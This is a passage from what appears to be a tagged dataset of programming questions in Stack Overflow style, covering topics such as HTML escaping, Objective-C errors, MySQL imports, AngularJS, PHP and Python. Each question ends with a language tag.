/users/new_bike/.rbenv/versions/2.2.2/lib/ruby/gems/2.2.0/gems/activesupport-4.1.6/lib/active_support/dependencies.rb:247:in `require      from /users/new_bike/.rbenv/versions/2.2.2/lib/ruby/gems/2.2.0/gems/activesupport-4.1.6/lib/active_support/dependencies.rb:247:in `block in require  </code></pre>,ruby-on-rails
what do i need to escape inside the html <pre> tag  i use the <code>&lt;pre&gt;</code> tag in my blog to post code. i know i have to change <code>&lt;</code> to <code>&amp;lt;</code> and <code>&gt;</code> to <code>&amp;gt;</code>. are any other characters i need to escape for correct html,html
invalid operations to binary expression ( float  and  id )  i m getting this error   <blockquote>    invalid operations to binary expression ( float  and  id )  </blockquote>  <pre><code>nsmutablearray *redvalues = [nsmutablearray array]; nsuinteger *redvalueslength = [redvalues count];     nsmutablearray *arrayone = [nsmutablearray array]; nsinteger j; float diffforaverage  totalone; __block int counter = 0; float average = totalone / amount; int amount = 1;  for (j = (counter + 25); j &lt; (redvalueslength - 25); j++) {     diffforaverage = average - redvalues[j + 1]; // error occurs here      if (diffforaverage &gt; -1 &amp;&amp; diffforaverage &lt; 1)     {         totalone += redvalues[j + 1]; // error occurs here         amount++;         [arrayone addobject:[nsnumber numberwithint:(j - 25)]];         counter++;     } } </code></pre>   how can i solve this,objective-c
mysql file import  i have the below text and am looking to import the data into the a mysql database  each file being a single record.    i tried mysqlimport  but i think the field names are confusing the import. is there any way to import the data ignoring the field names. i am making the assumption  that all fields are being imported  leaving no data out. if there are any command line tools  that could help with this or a  open source  tool that can create a script/program that will run the import via a scheduled task (windows) that would be even better.   <pre><code>vers: 355.046 date: 2013-01-21 time: 15:04:43.242 file: c:\recordings\20130121_150443_242_00_002.wav conn: 8274 stop: 16595 sign: 1601 (0156a70c1300007f) unit: 00 port: 002 dir : 1 cli : 011* ddi : 078* msga:  msgb:  msgc:  info:  </code></pre>   thanks.,mysql
httpwebrequest submit  sorry for such popular question  but  i don t need fill anything  i just need press a submit button on html page  how can i do it  via httpwebrequest,.net
what is vjsharp namespace   i want to run a program in .net 2008. it has an error:  error cs0234: the type or namespace name  vjsharp  does not exist in the namespace  microsoft  (are you missing an assembly reference )    how can i fix this error,.net
uiwebview warning  objective c  i m getting this warning: <code>local declaration of webview hides instance variable</code>   <pre><code>-(void)webviewdidfinishload:(uiwebview *)webview {     [webview stringbyevaluatingjavascriptfromstring:@ document.body.innerhtml ];     [activityindicator stopanimating]; } </code></pre>,objective-c
angular - click function on controller  sorry in advance but this question might be a little vague and i don t have much of a n example.    i need a sort of switch click on an element to hide and show another element.    i m ding it like this.   <pre><code>    &lt;div ng-click= showtask = !showtask &gt;         show task     &lt;/div&gt;      &lt;div ng-if= showtask &gt;         task     &lt;/div&gt; </code></pre>   my problem is i d like to move this to the controller and not have the logic in the html    so it would look like this   <pre><code>    &lt;div ng-click= thectrl.showcontainer() &gt;         show task     &lt;/div&gt;      &lt;div ng-if= sometask &gt;         task     &lt;/div&gt; </code></pre>   my problem is the code on the controller   <pre><code>    private showcontainer(showcontact){         this.showtask = !this.showtask;     } </code></pre>   i m using angular 1 but with typescript.    the stripped down controller looks like this   <pre><code>    (()=&gt;{           class thecontroller{               private showcontact:boolean;               constructor(){              }               private showcontainer(showcontact){                 this.showcontact = !this.showcontact;             }         }          angular.module( myapp ).controller( thecontroller   thecontroller);     })(); </code></pre>,angularjs
how do you display a comment as text with html   i know you can display html tags inside <code>&lt;code&gt;</code> blocks to display html as text by replacing &lt; with <code>&amp;lt;</code> and > with <code>&amp;gt;</code>. how do you escape the comment tag,html
apple mach-o linker error but not if one class remvode from project membership  i m getting apple mach-o linker error when building my app. but when i remove my project as a target membership of one of my classes  the error goes away.    the error is:   <pre><code>duplicate symbol _password in:     /users/gabriellebuytaert/library/developer/xcode/deriveddata/restaurant-gohpgfsvanqgatbrwgxmorkgaztv/build/intermediates/restaurant.build/debug-iphonesimulator/restaurant.build/objects-normal/i386/adminaccess.o     /users/gabriellebuytaert/library/developer/xcode/deriveddata/restaurant-gohpgfsvanqgatbrwgxmorkgaztv/build/intermediates/restaurant.build/debug-iphonesimulator/restaurant.build/objects-normal/i386/stafftvc.o ld: 1 duplicate symbol for architecture i386 clang: error: linker command failed with exit code 1 (use -v to see invocation) </code></pre>   the class is:   <pre><code>#import  stafftvc.h   @interface stafftvc ()  @end  @implementation stafftvc  - (id)initwithnibname:(nsstring *)nibnameornil bundle:(nsbundle *)nibbundleornil {     self = [super initwithnibname:nibnameornil bundle:nibbundleornil];     if (self) {         // custom initialization     }     return self; }  nsstring *password = @ staff ;  - (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view  typically from a nib.     self.password.delegate=self;     uicolor *color =[uicolor colorwithred:64.0f/255.0f green:80.0f/255.0f blue:98.0f/255.0f alpha:0.9f];     [self.navigationcontroller.navigationbar settintcolor:color];     self.navigationcontroller.navigationbar.alpha = 0.7; }  -(bool)textfieldshouldreturn:(uitextfield *)textfield {     if (textfield == self.password){         [textfield resignfirstresponder];     }     return yes; } - (void)viewwillappear:(bool)animated {     [super viewwillappear:animated];  } - (ibaction)save:(id)sender {     if([password isequaltostring:self.password.text]){         nslog(@ successful login to staff page );         [self performseguewithidentifier:@ go on to staff page  sender:self];     }else {         uialertview *av = [[uialertview alloc] initwithtitle:@ wrong input  message:@ re-enter password  delegate:self cancelbuttontitle:@ cancel  otherbuttontitles:@ ok   nil];         [av setalertviewstyle:uialertviewstyleloginandpasswordinput];          // alert style customization         [[av textfieldatindex:0] setsecuretextentry:yes];         [[av textfieldatindex:0] setplaceholder:@ password ];         [av show];     }     self.password.text= @  ; } -(void) alertview:(uialertview *)alertview clickedbuttonatindex:(nsinteger)buttonindex{     nsstring *buttontitle = [alertview buttontitleatindex:buttonindex];     uitextfield *passtext = [alertview textfieldatindex:0];     if([buttontitle isequaltostring:@ ok ]){          if([passtext.text isequaltostring:password]){             [self performseguewithidentifier:@ go on to staff page  sender:self];         }else{             uialertview *av = [[uialertview alloc] initwithtitle:@ wrong input  message:@ re-enter password  delegate:self cancelbuttontitle:@ cancel  otherbuttontitles:@ ok   nil];             [av setalertviewstyle:uialertviewstyleloginandpasswordinput];              // alert style customization             [[av textfieldatindex:0] setsecuretextentry:yes];             [[av textfieldatindex:0] setplaceholder:@ password ];             [av show];         }      }else if([buttontitle isequaltostring:@ cancel ]){      } }  - (void)prepareforsegue:(uistoryboardsegue *)segue sender:(id)sender {     if ([[segue identifier] isequaltostring:@ go on to staff page ])     {     } }   @end </code></pre>,objective-c
using this.prototype in a class definition   i have a class definition that is part of a class definition.   <pre><code>var someobject = {    someclass: function() {       this.somemethod = function() {          alert( hello );       };    } } </code></pre>   i have been told that i should use prototype to add methods  as it then only needs to be created once for all instances of the object. the problem is that it seems i need to add the prototyped method <em>after</em> the constructor function is defined  like this...   <pre><code>var someobject = {    someclass: function() {     } }  someobject.someclass.prototype.somemethod = function() {    alert( hello ); }; </code></pre>   ideally however i would like to define the prototyped methods within the constructor function like this...   <pre><code>var someobject = {    someclass: function() {       this.prototype.somemethod = function() {          alert( hello );       };    } } </code></pre>   this causes an error however stating that prototype is null or not an object. is there a way to accomplish what i would like  or is this not possible,javascript
creating dynamic arrays for obtaining weekly data  i need to get json data in the format shown below   <pre><code>{      salesdetails :[ sales1 sales30 ]            sales1 :     [     { name : porsche   quantity : 2 }      { name : jaguar   quantity : 30 }      ] }           sales30 :     [     { name : porsche   quantity : 29 }      ] } </code></pre>   the number of  sales1    sales2 ....is not fixed. it is dynamic. it could be 20 or 60 etc. i cannot create that many properties in my class like   <pre><code>class x {  public type sales1 {get;set;}  public type sales30 {get;set;}  .....  public type salesn{get;set;} } </code></pre>   is there any way to create these as dynamic properties or any other solution and get result in the desired format,.net
adding buttons to scrollview vertically  i want to know how to add buttons in a uiscrollview vertically  so that it appears as a vertical scrollbar like tableview.    thanks in anticipation.,objective-c
datatransfer.getdata not working as expected in javascript  i want to have dynamic design page and user put slider to desired place but this line work not well   <pre><code>var data = ev.datatransfer.getdata( text ); </code></pre>   this line should give me selected img id but return this value: <code>user[i].mainpicaddress</code>.    i dont know why    here is all code   <pre><code>window.onload = function () {     var self = this;      var url =  http://localhost:44300/api/slider ;     var x = new xmlhttprequest();     x.open( get   url);      x.onload = function () {         var user = json.parse(x.responsetext);         var l = user.length;         var ss = document.getelementbyid( mainsliderpic );         var e = 12 / l;          if (x.status ==  200 ) {             for (var i = 0; i &lt; l ; i++) {                 var div = document.createelement( div );                 div.setattribute( class    col-  + e);                 div.setattribute( id    div  + i);                 div.setattribute( ondrop   drop);                 div.setattribute( ondragover   allowdrop);                  var img = document.createelement( img );                 img.setattribute( src   user[i].mainpicaddress);                 img.setattribute( class    col-  + e);                 img.setattribute( draggable   true);                 img.setattribute( ondragstart   drag);                 img.setattribute( id    drag  + i);                    div.appendchild(img);                 ss.appendchild(div);              }         }     };     x.send();     var response = x.responsebody; }  function allowdrop(ev) {     ev.preventdefault(); }  function drag(ev) {     ev.datatransfer.setdata( text   ev.target.id); }  function drop(ev) {     debugger;     ev.preventdefault();     var data = ev.datatransfer.getdata( text );     var x = document.getelementbyid(data);     ev.target.appendchild(x); } </code></pre>,javascript
shouldautorotatetointerfaceorientation single view  how can i set which orientations my single view should do  this one below works giving me all the orientations  but in specific view  i dont want to rotate.   <pre><code>- (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation {  return yes; } </code></pre>   thanks!,objective-c
how can integer and double values be the same in java  <pre><code>class test {    public static void main(string[] args) {      int i=1;      double d=1.0;      if(i==d)         system.out.println( true ) // whether any type casting happens.      else          system.out.println( false );    } } </code></pre>,java
ios publishing error itms-9000  i m really stressed out now with my error on publishing. i m encountering these error. i ve searched about this and tried all the possible solutions such as:   <ol> <li>checking all the provisioning profiles. (even deleting and creating new distribution profile)</li> <li>comparing the product name to itunes connect.</li> <li>changing the architecture.</li> </ol>   here are my errors:   <pre><code>! apple s web service operation was not successful ! unable to authenticate the package: 852152804.itmsp ! error itms-9000:  the bundle  com.companyname.appname  at bundle path  payload/appname.app  is not signed using an apple submission certificate.  at softwareassets/softwareasset (mzitmspsoftwareassetpackage) ! could not start delivery: all transports failed diagnostics ! the app references non-public selectors in payload/appname.app/appname: id </code></pre>   i need your help guys.    thanks. cheers!,ios
global variables not accessible to functions javascript  i am using javascript to validate the information a user has put into a form. i have two functions in my code which both need to check that the information in two text fields is the same. one function is called when the form is submitted  the other when something is typed into the second field.     however neither function seems to be able to access these variables. google developer tools shows their value to be null. the code works fine when i declare the variables within each function but i thought it should be possible to declare them just once   <pre><code>var user1 = document.getelementbyid( user1 ); var user2 = document.getelementbyid( user2 );  function validatetext() {     var message2 = document.getelementbyid( confirmmessage );       if(user1.value !== user2.value) {         message2.innerhtml =  your usernames must be the same! ;            return false;     } }  function checkuser() {     //store the confimation message object ...     var message = document.getelementbyid( confirmmessage );     //compare the values in the user field      //and the confirmation field     if(user1.value == user2.value) {         //the usernames match.          // tell the user that they have entered the correct password          message.innerhtml =  passwords match!      } } </code></pre>,javascript
the different of the class name that having **delegate** and haven t have **delegate** in ios api  in ios <a href= http://developer.apple.com/library/ios/navigation/  rel= nofollow >api</a>  we can see <strong>uitabbaritem class reference</strong> and <strong>uitabbardelegate protocol reference</strong>... when we search for the keyword  tabbar   i want to ask what is the different between the class name having <strong>delegate</strong> and haven t have <strong>delegate</strong>     thanks,objective-c
why does the watch fire when oldvalue is equal to newvalue   i have:   <pre><code>   $scope.$watch( option.ssubject   function (newvalue  oldvalue) {                     if (newvalue !== oldvalue) { </code></pre>   and:   <pre><code>console.log(newvalue) 1 undefined console.log(oldvalue) 1 undefined </code></pre>   can someone explain why the watch fires when there seems to be no change in value. note that this is when i am just opening the page.,angularjs
want to increase width of specific column in table php  here are the columns like student id  student name and question 1 etc. i want to increase the <code>width of column  question </code>. how can i do this      i tried add width through adding object in table header <code>tag like width= 100 </code>  it works as simple html code but doesn t work here in my required code. `    <pre><code>&lt; php                     if (isset($result_display)) {                         echo  &lt;p&gt;&lt;u&gt;result&lt;/u&gt;&lt;/p&gt; ;                         if ($result_display ==  no record found ! ) {                             echo $result_display;                         } else {                             echo  &lt;table class= result_table &gt; ;                             echo  &lt;tr&gt;&lt;th&gt;student id&lt;/th&gt;&lt;th&gt;student name&lt;/th&gt;&lt;th&gt;question#1&lt;/th&gt;&lt;th&gt;answer#1&lt;/th&gt;&lt;th&gt;question#2&lt;/th&gt;&lt;th&gt;answer#2&lt;/th&gt;&lt;th&gt;question#3&lt;/th&gt;&lt;th&gt;answer#3&lt;/th&gt;&lt;th&gt;question#4&lt;/th&gt;&lt;th&gt;answer#4&lt;/th&gt;&lt;th&gt;question#5&lt;/th&gt;&lt;th&gt;answer#5&lt;/th&gt;&lt;th&gt;question#6&lt;/th&gt;&lt;th&gt;answer#6&lt;/th&gt;&lt;th&gt;question#7&lt;/th&gt;&lt;th&gt;answer#7&lt;/th&gt;&lt;th&gt;question#8&lt;/th&gt;&lt;th&gt;answer#8&lt;/th&gt;&lt;th&gt;question#9&lt;/th&gt;&lt;th&gt;answer#9&lt;/th&gt;&lt;th&gt;question#10&lt;/th&gt;&lt;th&gt;answer#10&lt;/th&gt;&lt;th&gt;question#11&lt;/th&gt;&lt;th&gt;answer#11&lt;/th&gt;&lt;th&gt;question#12&lt;/th&gt;&lt;th&gt;answer#12&lt;/th&gt;&lt;th&gt;question#13&lt;/th&gt;&lt;th&gt;answer#13&lt;/th&gt;&lt;th&gt;question#14&lt;/th&gt;&lt;th&gt;answer#14&lt;/th&gt;&lt;th&gt;question#15&lt;/th&gt;&lt;th&gt;answer#15&lt;/th&gt;&lt;tr/&gt; ;                             foreach ($result_display as $value) {                                 echo  &lt;tr&gt;  .  &lt;td class= e_id &gt;  . $value-&gt;id .  &lt;/td&gt;  . &lt;td class= name &gt;  . $value-&gt;student_name .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;question1 .  &lt;/td&gt;  .  &lt;td class= j_date &gt;  . $value-&gt;answer1 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;question2 .  &lt;/td&gt;  .  &lt;td class= mob &gt;  . $value-&gt;answer2 .  &lt;/td&gt;  .  &lt;td &gt;  . $value-&gt;question3 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;answer3 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;question4 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;answer4 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;question5 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;answer5 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;question6 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;answer6 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;question7 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;answer7 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;question8 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;answer8 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;question9 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;answer9 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;question10 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;answer10 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;question11 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;answer11 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;question12 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;answer12 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;question13 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;answer13 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;question14 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;answer14 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;question15 .  &lt;/td&gt;  .  &lt;td&gt;  . $value-&gt;answer15 .  &lt;/td&gt;  .    &lt;tr/&gt; ;                             }                             echo  &lt;/table&gt; ;                         }                     }                      &gt;                  &lt;/div&gt;             &lt;/div&gt; </code></pre>,php
mysql mass change id to avoid duplication  i have two sets of data that need to be merged together. that s the easy part. the problem is that these sets of data have ids that are the same. i d like to iterate through one of the tables and simply increase all of the ids by 10 000 so that when i merge the two tables  there are no identical id s.    is there any way to iterate through each row and increase the id by 10 000 or any number,mysql
cannot implicitly convert string[] to string in case  obligatory i m new to c# and am working on a large project for work and have run into a wall google can t seem to help me solve.     i understand that case s need to be constant and i am using a variable to declare a case but i can t seem to find the right way to correct the issue.     i am using the code to determine whether or not to send an order message to a market.    the defined variable   <pre><code>private string[] m_okeys = new string[1]; </code></pre>   the switch with the issue   <pre><code>        public void m_ts_orderadded(object sender  orderaddedeventargs e)     {         string key = e.order.siteorderkey;         switch (key)         {             case m_okeys[1]:                 m_oobject = new e.order();                 m_okeys = new e.order.siteorderkey();                 m_inflight = new (false);                 break;             case m_okeys[]:                 m_oobject[] = e.order;                 m_okeys(1) = e.order.siteorderkey;                 m_inflight(1) = false;                 break;             default:                 break;                 //handle order not found...         }     } </code></pre>,c#
how to find the duration of two time interval in php   i have a mysql table shift_def in the following format.   <pre><code>+-------------------------------------------------------------------------------+ |  id   |   name   |   start_time   |    end_time   |   description   |  break  | |-------------------------------------------------------------------------------| |  101  | shift1   |    01:03:55    |    06:00:55   |  shift 1        |   1     | |-------------------------------------------------------------------------------| |  102  | shift2   |    06:03:55    |    01:00:55   |  shift 2        |   3     | +-------------------------------------------------------------------------------+ </code></pre>   to find the total shift duration. i perform the following process in my php.   <pre><code>$shift_time = mysql_query( select start_time  end_time from rpt_shift_def where name = shif1  )or die(mysql_error());         while ($row = mysql_fetch_assoc($shift_time))          {            $total_shift_time = strtotime($row[ end_time ]) - strtotime($row[ start_time ]);             $hours=floor($total_shift_time/3600);             $total_shift_time-=$hours*3600;             $minutes=floor($total_shift_time/60);             $total_shift_time-=$minutes*60;             $seconds=$total_shift_time;             $total_shift_time=$hours. : .$minutes. : .$seconds;*/                                                                                                                                                                                                                                                                                                                                                                                         echo  $total_shift_time ;             echo  &lt;/br&gt; ;         } </code></pre>   the output is    <pre><code>4:57:0 </code></pre>   when i try the same for shift 2 the expected output is   <pre><code>18:57:0 </code></pre>   but the output is   <pre><code>-6:57:0 </code></pre>   the negative value is because end_time of the shift 2 is less than start_time. how to solve this problem.    can anyone help me out.,php
let compiler select multiplication algorithm depending on architecture  <a href= https://books.google.de/books id=xtneaaaaqbaj&amp;lpg=pp1&amp;hl=de&amp;pg=pa101#v=onepage&amp;q&amp;f=false  rel= nofollow >chapter 6.3  know an algorithm s complexity  of the book real-time c++</a> contains the following listing:   <pre><code>std::uint16_t a = uint16_c(55555); std::uint16_t b = uint16_c(61234);  void do_something() {     // unsigned 16 x 16 --&gt; 32-bit = 3 401 854 870.      std::uint32_t result = a * static_cast&lt;std::uint32_t&gt;(b); } </code></pre>   in the text  the author states that it is better to cast only one operand of the multiplication to <code>std::uint32_t</code>  because then the compiler may  choose between the better of 16 x 16 --> 32-bit multiplication and 32 x 32 --> 32-bit multiplication and still get the right answer  depending on the cpu architecture (e.g.  8-bit or 32-bit).    i do not understand how the compiler is allowed to perform a 16 x 16 --> 32-bit multiplication  since operand <code>b</code> is explicitly cast to <code>std::uint32_t</code>. if i understood the integer promotion / conversion rules correctly  operand <code>a</code> will be promoted to <code>std::uint32_t</code> before the multiplication and the compiler can only perform a 32 x 32 --> 32-bit multiplication.     am i missing something here,c++
.net exception and performance  known that the generation of exceptions reduces the performance    but i could not find the reason for this    why the generation of exceptions reduces the performance,.net
how to like and comment on facebook posts from native ios app   i would like to know how to like post of facebook from native ios app and comment on post via native ios app. please provide any kind of sample code from the same.i am newbie.any kind of help would be appreciated.thanks.,objective-c
open html content in android tablet in web view  i want to open html page in my web view using loadurl() method ..its home page is opening now only and other link on click of button is not working..while when i open it my browser its working fine so pls suggest me what strategy should i follow..is it possible in android tabs as it is opening in ipad ..my code is below pls refer..   <pre><code>    package openhtml.pkg;   import java.io.ioexception;  import java.io.inputstream;  import android.app.activity;  import android.content.intent;  import android.net.uri;  import android.os.bundle;  import android.webkit.webchromeclient;  import android.webkit.webview;  import android.webkit.webviewclient;  public class openhtml extends activity {  /** called when the activity is first created. */   @override  public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     webview webview = new webview(this);     setcontentview(webview);     try {         inputstream fin = getassets().open( index.html );             byte[] buffer = new byte[fin.available()];             fin.read(buffer);             fin.close();             webview.loadurl( @@@@@@ );     } catch (ioexception e) {         e.printstacktrace();     } } </code></pre>   },android
open a new tab or window from a pop-up window  this question was asked <a href= https://stackoverflow.com/questions/21970475/how-to-open-up-a-new-tab-in-a-pop-up >here</a> but never answered correctly. i thought i d ask it again and maybe by rephrasing the question we can get an answer.    i have a page where users can add data to a form. in one section  it gets complicated enough and is used rarely needed so that when needed  i force the user to click a link to open a pop-up window to add info to that form. this po-up window does not have tabs. on that pop-up window i include a link to a docu wiki article explaining how to fill out the form that the user can click if needed. i don t want the link to reuse the pop-up window because the user then won t have access to fill out the form and read the instructions at the same time. what i am trying to get it to do is open a new tab in the already open browser (not on the pop-up window). that way they can have the instructions in the background and the pop-up window with the entry form up on top of that.    using   <pre><code>target= _blank &gt; </code></pre>   just reuses the same pop-up window and if the user had entered any data  the data is now gone.    is there a way to do it,html
css margin-top not working in ie7 <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/4475416/ie7-display-issues-adding-extra-top-margin >ie7 display issues (adding extra top margin)</a>    </blockquote>     so i have the following css   <pre><code>.socialmediaplugin { width: auto; display: block; .socialmediapluginfooter { margin-top: 15px; margin-bottom: -12px; </code></pre>   }    and mark up   <pre><code>        &lt;div class= socialmediaplugin socialmediapluginfooter &gt;       &lt;div class= socialmedialinks &gt;         &lt;a class= addthis_button_facebook &gt;&lt;/a&gt;         &lt;a class= addthis_button_twitter &gt;&lt;/a&gt;         &lt;a class= addthis_button_google_plusone_share &gt;&lt;/a&gt;         &lt;a class= pinterest &gt;&lt;/a&gt;         &lt;a class= addthis_button_email &gt;&lt;/a&gt;       &lt;/div&gt;     &lt;/div&gt; </code></pre>   and basically the     margin-top: 15px; in the socialmediapluginfooter works fine in all browsers except for ie7 any ideas,css
(html) how to reproduce this nested table   this is an assignment question. <a href= https://i.stack.imgur.com/mmtjw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/mmtjw.png  alt= the table i need to reproduce ></a>    the table above is what i need to make. the table below is what i came up with:    <a href= https://i.stack.imgur.com/stc5p.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/stc5p.png  alt= my table ></a>    my code:   <pre><code>&lt;!doctype html&gt; &lt;html&gt;     &lt;head&gt;         &lt;title&gt;question two&lt;/title&gt;         &lt;meta charset= utf-8 &gt;     &lt;/head&gt;     &lt;body&gt;         &lt;h2&gt;nested tables&lt;/h2&gt;         &lt;table border= 1 &gt;             &lt;tr&gt;                 &lt;th&gt;header column 1&lt;/th&gt;                     &lt;th&gt;header column 2&lt;/th&gt;                 &lt;th&gt;header column 3&lt;/th&gt;                 &lt;th&gt;header column 4&lt;/th&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;row 2 - item 1&lt;/td&gt;                 &lt;td&gt;row 2 - item 2&lt;/td&gt;                 &lt;td rowspan= 2 &gt;                     &lt;h4&gt;row 2: nested table 1&lt;/h4&gt;                     &lt;table border= 1 &gt;                                                               &lt;tr&gt;                             &lt;th&gt;row 1 header&lt;/th&gt;                             &lt;td&gt;item&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                             &lt;th&gt;row 2 header&lt;/th&gt;                             &lt;td&gt;item&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                             &lt;th&gt;row 3 header&lt;/th&gt;                             &lt;td&gt;item&lt;/td&gt;                         &lt;/tr&gt;                     &lt;/table&gt;                 &lt;/td&gt;                 &lt;td&gt;row 2 - item 4&lt;br/&gt;a second line&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;                     &lt;h4&gt;row 3: nested table 2&lt;/h4&gt;                     &lt;table border=1&gt;                         &lt;tr&gt;                             &lt;th&gt;row 1 header&lt;/th&gt;                             &lt;td&gt;item&lt;/td&gt;                         &lt;/tr&gt;                         &lt;tr&gt;                             &lt;th&gt;row 2 header&lt;/th&gt;                             &lt;td&gt;item&lt;/td&gt;                         &lt;/tr&gt;                     &lt;/table&gt;                 &lt;/td&gt;                 &lt;td&gt;row 3 - item 2&lt;/td&gt;                 &lt;td rowspan= 2 &gt;row 3 - item 3&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;row 4 - item 1&lt;/td&gt;                 &lt;td&gt;row 4 - item 2&lt;/td&gt;                 &lt;td&gt;row 4 - item 3&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td colspan= 4 &gt;row 5 - last row of outer table&lt;/td&gt;             &lt;/tr&gt;         &lt;/table&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   two things are different: the font and line spacing of nested table 1 and 2.   <ol> <li> as per the font  is there a way to set a default font for all html documents to use  if so  how   </li> <li> for the spacing  i have no idea. i tried all kinds of combinations of <code>&lt;br&gt;</code>  <code>&lt;pre&gt;</code>  <code>&lt;div&gt;</code>.. etc. i m pretty sure it s not a browser issue that caused the erroneous result (tried multiple browsers--i m using ie  running on windows 7). any ideas  </li> </ol>   thank you.,html
python - pass variable between programs using global module  the use case here is i have a main program continuously looping to grab sensor data and perform some computations and logic.  at the same time i have a second program running flask with twilio listening for inbound sms messages.  i am trying to set a variable in the second program based on the content of the sms message  and run logic in the first program depending on the value of this variable.  i have defined a module imported into both  and depending on how it is called is supposed to either set the desired value or return it.    to test this i have created a stripped down  toy  version which just has two independent looping programs and a global module.  it is not working the way i expect.    globaltest.py (the global module).    <pre><code>def varex(arg):      statevar = 0      if arg != 1:          statevar = arg      elif arg == 1:          return statevar      else:          return  error  </code></pre>   main_test.py (representing the first program)    it is calling to get statevar in globaltest.varex set by stest.   <pre><code>from globaltest import varex from time import sleep  while true:      loc_var = varex(1)      print( local   loc_var)      sleep(3) </code></pre>   stest.py (representing the flask server) this is setting statevar in globaltest.varex  in this case just simply indexing upward   <pre><code>from globaltest import varex from time import sleep  i = 2  while true:      state = i     i = i+1      varex(state)      print(state)      sleep(1) </code></pre>   main_test always prints  local 0   so statevar in globaltest.py is not being updated by stest.py .      i can t seem to figure out why this is  and also not sure this is the best way to solve the problem.  i ve looked at other similar questions but this seems to be a bit of a different use case.,python
is it possible to create an app that offers an cam-function on iphone  but still works on ipod touch without cam-function   i want to make an app that can take a snapshot with the cam for a user photo  if the user has an iphone. if he has an ipod touch  he may choose an standard avatar  but the app should still work on ipod touch. is that possible     or would apple not allow to differenciate programmatically between  yes  he has an iphone  and  yes  he has an ipod touch,iphone
finding asp.net source code  where can i find source code for e.g. xmlsitemapprovider and other  built-in  stuff for asp.net (3.5),asp.net
css - image to background color  i am trying to achieve an effect like below with css.  the blue circle represents and image.  the red is simply a background color  but will have different text depending on changes in the dom.  i m pretty sure i could figure out how to do this using absolute positioning  but i would really like to avoid that if at all possible. is there another way i could achieve this with css     <img src= https://i.stack.imgur.com/chp1k.jpg  alt= icon transitions to background color >    i m sure it doesn t help that i can t really figure out how to refer to it properly in searches to get a relevant answer.  thanks for any help!,css
how to solve long python expressions   i m fairly new to programming and am learning python. i wanna ask the order in which simple arithmetic expressions of python are solved. i mean e.g there is a simple question <code>10 / 2 * 5 - 2</code>.    now  in which order will it be solved  like first division  then multiplication  then subtraction like in dmas rule or is there some other rule.    also  if there is a question  10 % 5 % 3  i m confused at these long modulo expressions  so please help me.,python
how to add custom data/field in contacts in android 2.0   i m trying to write an application where a user can enter his name  phone number  facebook id/ twitter id etc...which will then be added to the existing contacts application.    name  phone number - by default exists in the contacts app. how can i go about adding the facebook id or twitter id  i mean custom fields in the contacts application from my application.,android
dragging mkpinannotationview throws error  i have an addressannotation class that conforms to the mkannotation class.  i use the mkreversegeocoderdelegate methods to get the address from the user s location.  in that delegate  i drop the pin.  i set the pin to be draggable  and when the following method is called  i start the reverse geocoder again.   <pre><code>- (void)mapview:(mkmapview *)mapview annotationview:(mkannotationview *)view didchangedragstate:(mkannotationviewdragstate)newstate fromoldstate:(mkannotationviewdragstate)oldstate {     if (newstate == mkannotationviewdragstateending) {         cllocationcoordinate2d newcoordinate = view.annotation.coordinate;         mkreversegeocoder *reversegeocoder = [[mkreversegeocoder alloc] initwithcoordinate:newcoordinate];         reversegeocoder.delegate = self;         [reversegeocoder start];     } } </code></pre>   it works for about 3 pin drags  until i get the following error.  i m not sure what it means or what is going on.  any help would be appreciated.  thanks!     an instance 0x1b7ac0 of class addressannotation was deallocated while key value observers were still registered with it. observation info was leaked  and may even become mistakenly attached to some other object. set a breakpoint on nskvodeallocatebreak to stop here in the debugger. here s the current observation info:,iphone
